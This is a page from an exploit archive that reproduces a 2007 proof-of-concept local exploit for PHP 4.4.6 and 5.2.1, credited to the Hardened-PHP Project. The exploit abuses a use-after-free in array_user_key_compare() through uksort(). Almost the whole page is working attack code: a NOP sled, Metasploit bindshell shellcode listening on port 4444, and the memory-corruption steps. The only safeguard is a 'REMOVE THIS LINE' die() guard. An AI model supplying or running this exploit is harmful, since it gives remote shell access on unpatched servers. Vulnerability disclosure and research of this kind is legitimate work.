exploits , vulnerabilities , articles , PHP <= 4.4.6 / 5.2.1 array_user_key_compare() ZVAL dtor Local Exploit

Rated as : High Risk

<?php
 
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  //         Proof of concept code from the Hardened-PHP Project       
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  //                   (C) Copyright 2007 Stefan Esser                 
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  //        PHP 4/5 - array_user_key_compare() ZVAL dtor exploit       
//
 
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  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // You can put in any shellcode you want. Just make sure that the
  // shellcode string starts with enough NOP space

  // NOPSPACE
  $shellcode = str_repeat(chr(0x90), 710);
  // A bindshell on port 4444 generated by Metsploit
  $shellcode .=
"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
     
"\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
     
"\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
     
"\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
     
"\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
     
"\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
      "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";

  $arr = array(str_repeat("A", 39) => 1, "B" =>
1);

  function array_compare(&$key1, &$key2)
  {
    $GLOBALS['a'] = &$key2;
    unset($key2);
    return 1;
  }

  uksort($arr, "array_compare");
  $x=array($shellcode => 1);

  $a[8*4+0] = $a[6*4+0];
  $a[8*4+1] = chr(ord($a[6*4+1])+2); // <--- This only works for Little
Endian
  $a[8*4+2] = $a[6*4+2];
  $a[8*4+3] = $a[6*4+3];

  unset($x);

?>

securitydot.net - 2007-03-16